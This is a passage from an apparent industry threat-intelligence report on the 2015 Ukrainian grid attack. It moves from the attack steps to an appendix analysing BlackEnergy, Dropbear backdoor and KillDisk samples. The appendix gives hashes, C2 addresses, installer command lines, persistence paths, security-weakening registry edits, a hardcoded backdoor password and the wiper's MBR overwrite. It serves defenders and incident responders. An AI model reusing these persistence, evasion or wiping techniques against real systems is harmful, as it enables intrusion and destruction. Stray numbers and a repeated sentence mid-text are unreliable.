users to lock them out of the system during recovery.150 In all, the attackers opened breakers in at least 57 substations. Though complete details on the extent of the attack are not publicly available, one of the three operators, Prykarpattyaoblenergo, indicated that 27 of its substations were taken offline, resulting in complete blackouts across 103 cities and partial blackouts in an additional 186 cities.151 Kyivoblenergo indicated that seven of its 110kV substations and 23 of its 35kV substations were taken offline, disconnecting power for 80,000 customers.152 Impacts on the infrastruc- ture of Chernivtsioblenergo were not found in public reporting. STEP 14: SEVER CONNECTION TO FIELD DEVICES Public reporting indicates that the updates were pushed to each of the devices within a short period, and the firmware itself was uniform across the targeted converters.153 With the communica- tions between the control center and field devices severed, even after control of the network was restored, the breakers could not be closed remotely and technicians had to manually close them at each substation.154 Manually resetting the breakers, the technicians were able to restore power to customers within three to six hours.155 Ultimately, neither the operator nor the manufac- turer was able to restore the devices following the malicious update, which forced operators to replace all targeted devices.156 At least 16 substa- tions were disconnected from the control network using the malicious firmware updates.157 The two converters targeted in the attack were the Moxa UC 7408-LX-Plus and the IRZRUH2 3G.158 While both of these devices support firmware updates by authorized users, indicating the attackers may have used the credentials harvested earlier in the attack to push the malicious updates,159 they are also both susceptible to known vulnerabilities. The Moxa device includes an extensive number of vulnerabilities, and the source code itself is publicly available access to the source code is of particular concern, as it would allow threat actors to directly examine the code for vulnerabilities. The identified Moxa firmware vulnerabilities included arbitrary code execution160 and multiple remote denial-of-service (DoS) vulnerabilities161,162 in addition, several of the fixes for the device were incomplete, leading to follow-on vulnerabili- ties.163,164 Though the iRZ-RUH2 was relatively more secure and source code for the firmware did not appear to be publicly available, the device still included a least one vulnerability that would allow an authorized user to remotely update the firmware with an unvalidated patch.165 STEP 15: TDOS ATTACK In an apparent attempt to block incoming communications, threat actors also conducted a 36 Booz Allen Hamilton TDoS attack against at least one operator. TDoS attacks are similar to DoS attacks against webservers or other data network systems a flood of communication traffic is used to block legiti- mate communications by overwhelming infra- structure bandwidth or call-center staff.166 Public reporting indicates that directly prior to opening breakers, one of the operators began receiving thousands of calls at its call centers that appeared to be coming from Moscow.167,168 By preventing operators from receiving outage reports, threat actors may have intended to mask the impact of the outage and possibly draw out recovery time. Alternatively, investiga- tors also noted the TDoS attacks may have been focused on blocking callers from receiving information, in order to create greater confusion and frustration toward the operators among their customer base.169 It is highly likely the TDoS attack in Ukraine was conducted using automated tools, though specific details regarding how the TDoS attack was conducted are not documented in public sources. While not as common as DoS attacks against data networks, there are existing tools to automate the process. Free software, including Asterisk IP PBX and SIP call generator, can be used by attackers to send floods of robocalls at targeted systems.170 Similar to DoS attacks, TDoS floods can be amplified using distributed botnets, and paid services to launch TDoS attacks have also been observed in criminal forums.171 Previously, TDoS attacks have been used to target firms in the financial sector and emergency responder call centers in the US.172 The attacks against emer- gency responders were principally conducted by criminal groups as part of extortion operations.173 STEP 16: DISABLE CRITICAL SYSTEMS VIA UPS OUTAGE As noted above, the UPS disruptions were likely scheduled in advance of the final attack on the substation breakers. The targeted systems included a telephone communication server and data center servers.174 Public reporting also indicated the disruption impacted control center systems, though specific details on targeted devices were not provided.175 STEP 17: DESTROY CRITICAL SYSTEM DATA KillDisk was retrieved and executed on networked devices at all three distributors.176 The malware overwrote the master boot record (MBR), and in some instances continued to overwrite additional data on disk. Several variants of KillDisk malware were used in the attack execution routine and extent of data destruction varied.s Affected machines were rendered completely inoperable, adding an additional burden on incident responders and ultimately driving up recovery costs to replace targeted devices. Disk-wiping attacks were not executed against all network devices. Targets were primarily on operators enterprise networks, particularly servers and hosts used by management, human resources, and finance staff, though the attackers also destroyed at least one remote terminal unit (RTU) with an embedded windows HMI card.177 s. An in depth analysis of each of the recovered Killdisk samples is provided in Appendix B, including assessments of key variations between execution routines. boozallen.com/ics 37 The malware samples analyzed for this report can be categorized into four distinct groups. These groups include: Weaponized files used to deliver malware to targeted systems Malicious scripts embedded in the weaponized files used to install a persistent implant Persistent implants used to provide remote access onto the network Additional destructive malware, specifically the KillDisk malware, used to overwrite data during the final stages of the attack. Samples from each of these categories are detailed in the following sections. Though predominantly BlackEnergy (BE) samples, a weaponized version of Dropbear server, and an associated Visual Basic (VB) dropper are also detailed. Multiple samples of the KillDisk malware were analyzed for this report. Samples analyzed for this report were gathered using the Virus Total Intelligence (VTI) service. The First Upload, Final Modification, Language Settings, and File Name data in the malware analysis tables were gathered from the VTI summary for the reported sample. DELIVERY MALWARE Most public reporting on the December 2015 attacks indicate that the malware was initially delivered to targeted networks using weaponized Microsoft (MS) Office documents. Several recovered samples indicate attackers had some variation in their delivery method. Recovered samples included both a weaponized MS Excelt file and a weaponized MS Word document.u Samples of BE2 recovered following an attack on a Ukrainian news outlet in October 2015178 indicate the threat actors may have also embedded malware in a compromised Cyberlink PowerDVD 10 binaryv (a movie/media player) or a file designed to look like Cyberlink PowerDVD 10 via string analysis. This particular sample file functioned as an installer, delivering a BE2 implantw and encrypted configurationx file to the targeted system. Though not definitively conducted by the same group behind the attacks against the electricity distributors, the attack on the Ukrainian media outlet, which was conducted on Ukraines election day, shared the common tactics, techniques, and procedures (TTP) of using a combination of BE malware and KillDisk malware to destroy critical data.179 A P P E N D I X B : Malware Samples t. Appendix B.1: Weaponized MS Excel (1.xls) (MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) u. Appendix B.2: Weaponized MS Word (RR143TB.doc) (MD5: e15b36c2e394d599a8ab352159089dd2) v. Appendix B.5: BE2 Installer (Undisclosed) (MD5: 1d6d926f9287b4e4cb5bfc271a164f51) w. Appendix B.11: Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) x. Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) 38 Booz Allen Hamilton A P P E N D I X B . 1 : WEAPONIZED MS EXCEL (1.XLS)y SHA1: aa67ca4fb712374f5301d1d2bab0ac66107a4df1 SHA-256: 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4 MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732 Type: Microsoft Office Excel180 First Upload: 2015-08-03 10:37:19181 Compile Timestamp: 2015-02-04 07:35:08182 Final Modification Timestamp: 2015-03-18 07:41:04183 File Size: 734720 bytes184 Language Settings: Code_page is Cyrillic185 File Names: 1.xls186 Technical Notes: This is a weaponized MS Excel file used to deliver BE3 malware.187 Upon opening the file, users are prompted to enable macros. The spreadsheet includes an embedded VBA macro that executes when users enable the macro functionality. The associated VBA macro is a BE3 installer.188 Related Samples: 1. Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) 2. Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770)189 A P P E N D I X B . 2 : WEAPONIZED MS WORD (RR143TB.DOC)z SHA1: 28719979d7ac8038f24ee0c15114c4a463be85fb SHA-256: 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81 MD5: e15b36c2e394d599a8ab352159089dd2 Type: Microsoft Office Word190 First Upload: 2016-01-20 08:03:52 UTC191 Compile Timestamp: 2015-07-27 10:21:00192 Final Modification Timestamp: 2015-07-27 10:21:00193 File Size: 1194496 bytes Language Settings: Code_page is Cyrillic194 File Names: RR143TB.doc195 Technical Notes: This is a weaponized MS Word file, with an embedded BE3 installer.196 Upon opening the file, users are prompted to enable macros, allowing the execution of the BE3 installer.197 Additional details on the infection routine are provided in Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1). Related Samples: 1. Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) y. A sample of this file was not recovered. The technical notes provided are based on the cited reporting. z. A sample of this file was not recovered. The technical notes provided are based on the cited reporting. boozallen.com/ics 39 MALWARE INSTALLERS In an analysis of a weaponized MS Excel fileaa first observed in August 2015 and most recently reported in January 2015, BE3 malware was found embedded in VB code attached as a macro title: M 609230 _VBA_PROJECT_CUR/VBA/ Workbook________.198 By using weaponized macros as the attack vector, the threat actors were reliant on users actively enabling macros before they could execute. Samples of the malicious VBA scripts recovered are detailed in Appendix B.3 and Appendix B.4. Following delivery, users enabled macros in the weaponized document, allowing the embedded macros to execute. The executable calls ENVIRON(TMP) and saves the file, vba_macro. exe in the Widows TMP directory.199 Once saved to disk, the file drops FONTCACHE.DAT (which is a dynamic-link library file), rundll32.exe (which is the standard utility for running .dll files on machines with Windows operating system [OS]), NTUSER. LOG (which is an empty file) and desktop.ini, the default file used to determine folder displays on windows machines.200 FONTCACHE.DAT serves as the primary BE3 implant, and as noted above, some observed samples have been packed with the tElock packer. FONTCACHE.DAT is dropped into the local application data folder, and a .lnk file is created in the startup folder, which functions as a shortcut to execute using rundll32.exe.201 The .lnk file name is generated off the volume serial number.ab,202,203 Following delivery of FONTCACHE.DAT, and the associated .lnk file, the original executable, vba_macro.exe, is deleted.204 aa. Analysis details for this sample provided in Appendix B.1. ab. An example path for the .lnk file would be: C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ Startup\9980061D-64BB-46BC-8AC6-D9AC3DB67577.lnk40 Booz Allen Hamilton A P P E N D I X B . 3 : BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 1) SHA1: 4184888c26778f5596d6e8d83624512ed2f045dd SHA-256: ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525 MD5: ac2d7f21c826ce0c449481f79138aebd Type: Win32 Executable205 First Upload: 2016-01-29 01:59:28 UTC206 Compile Timestamp: 1979-01-28 00:25:53207 Final Modification Timestamp: Undisclosed File Size: 110592 bytes208 Language Settings: Japanese209 File Names:210 CPLEXE.EXE (original name) MS-IME (Internal Name) virus_04.exe vba_macro.exe Technical Notes: At execution: 1. The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ Application Data\FONTCACHE.DAT (size 56,832) 2. And installs persistence: a. C:\Documents and Settings\useradm\Start Menu\Programs\Startup\C323A392-5BB0- 47D5-9518-E60202A85B5C.lnk (size 1,682) 3. Weakens Internet settings in registry to lower Internet security: a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ProxyBypass (sets to 1) b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntranetName (sets to 1) c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UNCAsIntranet (sets to 1) 4. It launches (in this case PID: 936) Command line: C:\WINDOWS\system32\rundll32.exe C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE. DAT,1 a. Further weakening Internet Explorer settings: i. HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled (sets to 0) ii. HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to 1) iii. HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to 1) iv. [ Amongst some other I.E. settings] b. And loads BE into svchost.exe -DcomLaunch boozallen.com/ics 41 5. It then launches (in this case PID: 1804) Command line: /s /c for /L i in (1,1,100) do (attrib h C:\DOCUME1\useradm\Desktop\CA7A811.EXE del /A:h /F C:\DOCUME1\ useradm\Desktop\CA7A811.EXE ping localhost -n 2 if not exist C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE.DAT Exit 1) a. This self deletes its installer 6. svchost.exe -DcomLaunch launches iexplorer.exe a. C:\Program Files\Internet Explorer\iexplore.exe -Embedding i. which beacons to 5.149.254.114:80 This sample differs only slightly from Sample 2 (MD5:abeab18ebae2c3e445699d256d5f5fb1), in that this sample (MD5:ac2d7f21c826ce0c449481f79138aebd) has a rundll32.exe that remains visible in the process list on the victim throughout the initial infection and following every reboot. The following sample does not have this indicator of compromise, as the rundll32 process is only visible for a short period following the initial infection. Related Samples: 1. Appendix B.7: BE3 Implant (Fontcache.dat, Sample 1) (MD5: 3fa9130c9ec44e36e52142f3688313ff) 2. Appendix B.9: BE3 Implant (.LNK Persistence Mechanism, Sample 1) (MD5: 40c74556c36fa14664d9059ad05ca9d3) A P P E N D I X B . 4 : BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 2) SHA1: 4c424d5c8cfedf8d2164b9f833f7c631f94c5a4c SHA-256: 07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660 MD5: abeab18ebae2c3e445699d256d5f5fb1 Type: Win32 Executable211 First Upload: 2015-08-03 10:37:19212 Compile Timestamp: 1979-01-28 00:25:53213 Final Modification Timestamp: Undisclosed File Size: 98304 bytes214 Language Settings: Japanese215 File Names:216 vba_macro MS-IME icshextobin.exe BlackEnergy.exe vba_macro.exe CPLEXE.EXE 1.exe 42 Booz Allen Hamilton Technical Notes: This installer follows a routine very similar to the sample detailed in Appendix B.4 (MD5: ac2d7f21c- 826ce0c449481f79138aebd) in fact, 33 of its code is shared with that sample. At execution: 1. The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ Application Data\FONTCACHE.DAT (size 55,808) 2. The installer then delivers the persistent .link file at C:\Documents and Settings\useradm\ Start Menu\Programs\Startup\C323A392-5BB0-47D5-9518-E60202A85B5C.lnk (size 1,682) a. this .lnk calls rundll32.exe to execute FONTCACHE at system startup 3. Weakens internet settings in registry to lower Internet security: a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ProxyBypass (sets to 1) b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntranetName (sets to 1) c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UNCAsIntranet (sets to 1) 4. Launches (in this case PID: 2696) Command line: C:\WINDOWS\system32\rundll32.exe C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE. DAT,1 a. Further weakens Internet Explorer settings: i. HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled (sets to 0) ii. HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to 1) iii. HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to 1) iv. [ Amongst some other I.E. settings] b. Loads BE into svchost.exe -DcomLaunch 5. Launches (in this case PID: 2704) Command line: /s /c for /L i in (1,1,100) do (del /F C:\ DOCUME1\useradm\Desktop\07E7261.EXE ping localhost -n 2 if not exist C:\ DOCUME1\useradm\Desktop\07E7261.EXE Exit 1) a. Deletes BE on-disk installer 6. Fontcache (from within svchost.exe -DcomLaunch) launches C:\Program Files\Internet Explorer\iexplore.exe -Embedding a.
271
Which beacons to 5.149.254.114:80 boozallen.com/ics 43 Related Samples: 1.
55,587
55,649
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data/reports_final/0271.txt
Which beacons to 5.149.254.114:80 boozallen.com/ics 43 Related Samples: 1. Appendix B.8: BE3 Implant (FONTCACHE.DAT, Sample 2) (MD5: cdfb4cda9144d01fb26b5449f9d189ff) 2. Appendix B.9 BE3 Implant (.LNK Persistence Mechanism, Sample 2) (MD5: bffd06a38a46c1fe2bde0317176f04b8) A P P E N D I X B . 5 : BE2 INSTALLER (UNDISCLOSED) SHA1: 896fcacff6310bbe5335677e99e4c3d370f73d96 SHA-256: 07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad MD5: 1d6d926f9287b4e4cb5bfc271a164f51 Type: Win32 Executable217 First Upload: 2015-10-11 04:17:36 UTC218 Compile Timestamp: 0000:00:00 00:00:00219 Final Modification Timestamp: Undisclosed File Size: 155648 bytes220 Language Settings: English221 File Names: Undisclosed Technical Notes: This is a BE2 dropper, installer, and RAT bundle. It is either a modified Cyberlink PowerDVD 10 binary or is designed to look like one during string analysis. The installer appears to be packed, possibly with tElock. The associated implant is packed with tElock 0.99. This bundle includes an encrypted file, which is likely the configuration file stored on disk. Infection Routine: 1. Installer 1d6d926f9287b4e4cb5bfc271a164f51.exe (in this case PID 596) executes 2. Installer creates file c:\windows\adpu160ms then pings localhost -n 2 (effectively a 2 second sleep) 3. Installer pings localhost -n 3 (effectively a 3 second sleep) 4. Installer launches a cmd.exe (in this case PID 880) with the following command line: a. PID: 880, Command line: /c ping localhost n 8 move /Y C:\WINDOWS\adpu160ms C:\WINDOWS\system32\drivers\adpu160m.sys ping localhost n 3 net start adpu160m 5. Services.exe (in this case PID 768) writes the registry keys for apdu160m and loads adpu160m.sys into svchost.exe DcomLaunch (in this case PID 988) 44 Booz Allen Hamilton 6. Once loaded into svchost.exe DcomLaunch (PID 988) the malware writes a 203-byte, encoded, and timestamped file to c:\windows\system32\ieapflrt.dat, which is likely a configuration file. 7. The implant then performs a reverse lookup to 5.9.32.230 and attempts to initiate a TCP connection over port 443. The implant goes through this routine frequently, nearly every two minutes. Related Samples: 1. Appendix B.7: Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) 2. Appendix B.8: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) A P P E N D I X B . 6 : DROPBEAR INSTALLER (DROPBEARRUN.VBS)ac SHA1: 72d0b326410e1d0705281fde83cb7c33c67bc8ca SHA-256: b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f MD5: 0af5b1e8eaf5ee4bd05227bf53050770 Type: ASCII text222 First Upload: 2015-10-13 10:51:25 UTC223 Compile Timestamp: Undisclosed Final Modification Timestamp: 2015-03-17 06:41:04 UTC0224 File Size: 165 bytes225 Language Settings: Undisclosed File Names: DropbearRun.vbs226 VBS/Agent. AD trojan227 Technical Notes: This script launches the Dropbear SSH server from directory C:\\WINDOWS\TEMP\DROPBEAR\, and sets the server to listen on port 6789.228 The modified version of the Dropbear server includes two backdoors, a hardcoded public key authentication process, and a hardcoded username and password.229 Related Samples: 1. Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) 2. Appendix B.13: Dropbear Implant (Dropbear.exe) (fffeaba10fd83c59c28f025c99d063f8) ac. A sample of this file was not recovered. The technical notes provided are based on the cited reporting. boozallen.com/ics 45 PERSISTENT MALWARE IMPLANTS After dropping FONTCACHE.DAT into the application data directory and inserting the associated .lnk file in the startup directory, the installer takes steps to modify the Internet security setting and initiate the process of connecting to the command-and-control (CC) server. The installer first modifies in-registry Internet settings to lower the Internet security, then uses rundll32. exe to launch FONTCACHE.DAT, which in turn further weakens Internet security settings, specifically targeting MS Internet Explorer. FONTCACHE.DAT is then loaded into svchost.exe, the standard process used for hosting services running off .dll files, which then launches iexploerer.exe and attempts to use Internet Explorer to establish an HTTP connection with an external host.ad In the analyzed sample, the implant attempted to connect to IP address 5.149.254.114.ae This IP address was identified as a potential CC server in other BE3 analysis reporting.230 Communications between the infected host and the CC server are conducted using HTTP POST requests.231 During the initiation of the connec- tion, BE3 requests will contain fields such as a SHA1 hash of the bot_id, domain security identifier (SID), host name and serial number, as well as build_id from the samples configuration data, and a series of hardcoded values repre- senting the associated version number.232 The CC server then sends a decrypted response as a series of 509_ASN encoded values.233 In the initial POST request sent to the CC server, the hashed build_id is a unique text string associated with each individual infection.234,235 These build_ids, as well as a list of the CC servers, are stored in the embedded configuration data within the binary of the .dll implant.236 Publicly reported analysis of the BE3 samples indicate that at least 12 build_ids had been identified in 2015, and the strings included in the build_ids are likely significant.237 The 12 build_ids recovered in 2015 included strings such as kiev_o and 2015telsmi, and the authors of the report speculate SMI is an acronym representing Sredstva Massovoj Informacii.238 Sredstva Massovoj Informacii ( ) is the Russian term for mass media, which may be referring to the attack on the Ukrainian media outlet in October 2015. ad. This summary is based on the infection routine observed in VBA_macro.exe, Sample 1. Additional details on specific setting modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1). ae. This summary is based on the infection routine observed in VBA_macro.exe, Sample 1. Additional details on specific setting modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1). 46 Booz Allen Hamilton A P P E N D I X B .7 : BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 1) SHA1: 899baab61f32c68cde98db9d980cd4fe39edd572 SHA-256: ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3 MD5: 3fa9130c9ec44e36e52142f3688313ff Type: Win32 Dynamic Link Library239 First Upload: 2015-10-13 10:51:25 UTC240 Compile Timestamp: 1979-01-28 00:25:53241 Final Modification Timestamp: 1979:01:28 01:25:5301:00242 File Size: 56832 bytes243 Language Settings:244 Neutral English US File Names:245 FONTCACHE.DLL FONTCACHE.DAT.174093.DROPPED FONTCACHE.DAT packet.dll Technical Notes: This is the implant file associated with Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). Full infection routine details are provided in Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). Related Samples: 1. Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) boozallen.com/ics 47 A P P E N D I X B . 8 : BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 2) SHA1: 315863c696603ac442b2600e9ecc1819b7ed1b54 SHA-256: f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8 MD5: cdfb4cda9144d01fb26b5449f9d189ff Type: Win32 Dynamic Link Library246 First Upload: 2015-07-27 13:17:32247 Compile Timestamp: 1979-01-28 00:25:53248 Final Modification Timestamp: 1979-01-28 00:25:53249 File Size: 55808 bytes250 Language Settings:251 Neutral English US File Names:252 FONTCACHE.DAT 63.dll packet.dll Technical Notes: This is the implant file associated with Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2). Full infection routine details are provided in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2). Related Samples: 1. Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1 2. Appendix B.10: BE3 Implant (.LNK Persistence Mechanism, Sample 2) (MD5: bffd06a38a46c1fe2bde0317176f04b8) A P P E N D I X B . 9 : BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 1)af SHA1: f89ce5ba8e7b8587457848182ff1108b1255b87f SHA-256: 2872473b7144c2fb6910ebf48786c49f9d4f46117b9d2aaa517450fce940d0da MD5: 40c74556c36fa14664d9059ad05ca9d3 Type: Microsoft Windows LiNK First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: 1682 bytes Language Settings: Not Submitted File Names: Not Submitted af. This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware sample. Not Submitted is listed in fields that would otherwise have been populated with data from public sources. 48 Booz Allen Hamilton Technical Notes: This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT implant. Full infection routine details associated with this file are provided in Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). Related Samples: 1. Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) 2. Appendix B.4: BE3 Implant (FONTCACHE.DAT, Sample 1) (MD5: 3fa9130c9ec44e36e52142f3688313ff) A P P E N D I X B . 1 0 : BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 2)ag SHA1: 3feb426ac934f60eee4e08160d9c8bbe926c917e SHA-256: 22735ffeb3472572f608e9a2625ec91735482d9423ea7a43ed32f8a39308eda8 MD5: bffd06a38a46c1fe2bde0317176f04b8 Type: Microsoft Windows LiNK First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: 1682 bytes Language Settings: Not Submitted File Names: Not Submitted Technical Notes: This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT implant. Full infection routine details associated with this file are provided in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2). Related Samples: 1. Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) 2. Appendix B.9: BE3 Implant (FONTCACHE.DAT, Sample 2) (MD5:cdfb4cda9144d01fb26b5449f9d189ff) ag. This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware sample. Not Submitted is listed in fields that would otherwise have been populated with data from public sources.
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boozallen.com/ics 49 A P P E N D I X B . 1 1 : BE2 IMPLANT (ADPU160M.SYS) SHA1: 4bc2bbd1809c8b66eecd7c28ac319b948577de7b SHA-256: 244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5 MD5: e60854c96fab23f2c857dd6eb745961c Type: Win32 Executable253 First Upload: 2015-10-09 16:26:08 UTC254 Compile Timestamp: Not Submitted Final Modification Timestamp: 0000:00:00 00:00:00255 File Size: 60928 bytes256 Language Settings: English257 File Names:258 FILE_208 acpipmi.sys aliides.sys Technical Notes: This is the implant file associated with Appendix B.5: BE2 Installer (Undisclosed). The name is listed here (adpu160m.sys) is taken from a legitimate, unused driver on the system, and will potentially vary between executions. Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed). Related Samples: 3. Appendix B.5: BE2 Installer (Undisclosed) (MD5: 1d6d926f9287b4e4cb5bfc271a164f51) 4. Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) A P P E N D I X B . 1 2 : BE3 ENCRYPTED CONFIGURATION/ON-DISK-STORE (IEAPFLRT.DAT)ah SHA1: 63bf25190139bd307290c301304597bdeffa4351 SHA-256: ad2e333141e4e7a800d725f06e25a58a683b42467645d65ba5a1cf377b4adcbe MD5: 01215f813d3e93ed7e3fc3fe369a6cd5 Type: Not Submitted First Upload: Not Submitted Compile Timestamp: Not Submitted Final Modification Timestamp: Not Submitted File Size: Not Submitted Language Settings: Not Submitted File Names: Not Submitted Technical Notes: This is the encrypted configuration and on-disk-store file associated with Appendix B.5: BE2 Installer (Undisclosed). Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed). ah. This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware sample. Not Submitted is listed in fields that would otherwise have been populated with data from public sources.50 Booz Allen Hamilton Related Samples: 1. Appendix B.5: BE2 Installer (Undisclosed (MD5:1d6d926f9287b4e4cb5bfc271a164f51) 2. Appendix B.7: BE3 Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) A P P E N D I X B . 1 3 : MODIFIED DROPBEAR SERVER IMPLANT (DROPBEAR.EXE)ai SHA1: 166d71c63d0eb609c4f77499112965db7d9a51bb SHA-256: 0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd MD5: fffeaba10fd83c59c28f025c99d063f8 Type: Win32 Executable259 First Upload: 2015-06-25 09:16:03260 Compile Timestamp: 2013-12-10 06:08:44261 Final Modification Timestamp: 2013:12:10 07:08:4401:00262 File Size: 303152 bytes Language Settings: Undisclosed File Names: dropbear.exe263 Win32/SSHBearDoor. A trojan264 Technical Notes: This file is the Dropbear server program. Analysis identified that this Dropbear binary code was modified from its source code to include a backdoor and authentication processes.265 The first authentication process uses a hardcoded credential set of user and passDs5Bu9Te7 and the second process uses a RSA public key.266 Related Samples: 1. Appendix B.1: Weaponized MS Excel (1.xls) (MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) 2. Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770) ai. A sample of this file was not recovered. The technical notes provided are based on the cited reporting. boozallen.com/ics 51 KILLDISK SAMPLES Five KillDisk samples were recovered and analyzed for this report. Two of the samplesa- j,ak drop a file C:\windows\svchost.exe and create a process C:\WINDOWS\svchost.exe service, which runs as a child of services.exe. The process overwrites the first 131072 bytes of \Device\Harddisk0\DR0 with zeros, effectively rendering the OS unusable upon reboot. The infected machine then sustains a critical error, displays a blue screen of death, and reboots with the message Operating System not found. A third observed sampleal executes nearly identically, though the sample runs as its own process as opposed to dropping an embedded file onto the targeted system to overwrite the data. A key point of variance between recovered samples is the level of additional data destruction beyond overwriting the master boot record. Though all samples ultimately rendered the machines inoperable, in the samplesam,an described above, a critical system error and forced reboot occurred without overwriting any additional data on disk. This indicates that valuable data stored on the device may be recoverable, even if the machine itself is inoperable. Two other analyzed samplesao,ap included additional data destruction beyond the MBR. The firstaq runs as its own process and overwrites the first 131072 bytes of \Device\Harddisk0\DR0 with spaces, rendering the OS unusable upon reboot. The sample then continues to overwrite thousands of files while the system remains powered on but unusable. The other sample follows a nearly identical execution, though it runs as a child process to services.exe aj. Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) ak. Appendix B.14: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) al. Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) am. Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) an. Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) 52 Booz Allen Hamilton and also drops hundreds of 5-byte .tmp files in C:\ windows\temp\ with incrementing numeric file names. Public reporting indicates that some observed KillDisk samples would not execute properly in malware sandboxes, requiring analysts to conduct static analysis.267 This could possibly indicate functionality to identify the use of malware sandboxes, a feature that would be included to hinder forensic analysis. In initial analysis of one of the recovered samples,ar analysts found it would not run in a Windows XP virtual machine, though patching with Ollydbg corrected this issue. This may have been the same issue discussed by other analysts encountered. At least one machine destroyed by KillDisk was functioning as a remote terminal unit (RTU), and some public reporting indicated that a process executed by the malware (sec_service.exe) may have been a standard process in several applica- tions used in control environments.268 Despite this, specific targeting of industrial control systems (ICS) devices was not a behavior observed in any of the KillDisk samples analyzed. The samples observed did not include inherent features to discover ICS components, and the reported disk destruction against the RTU was likely accomplished by the 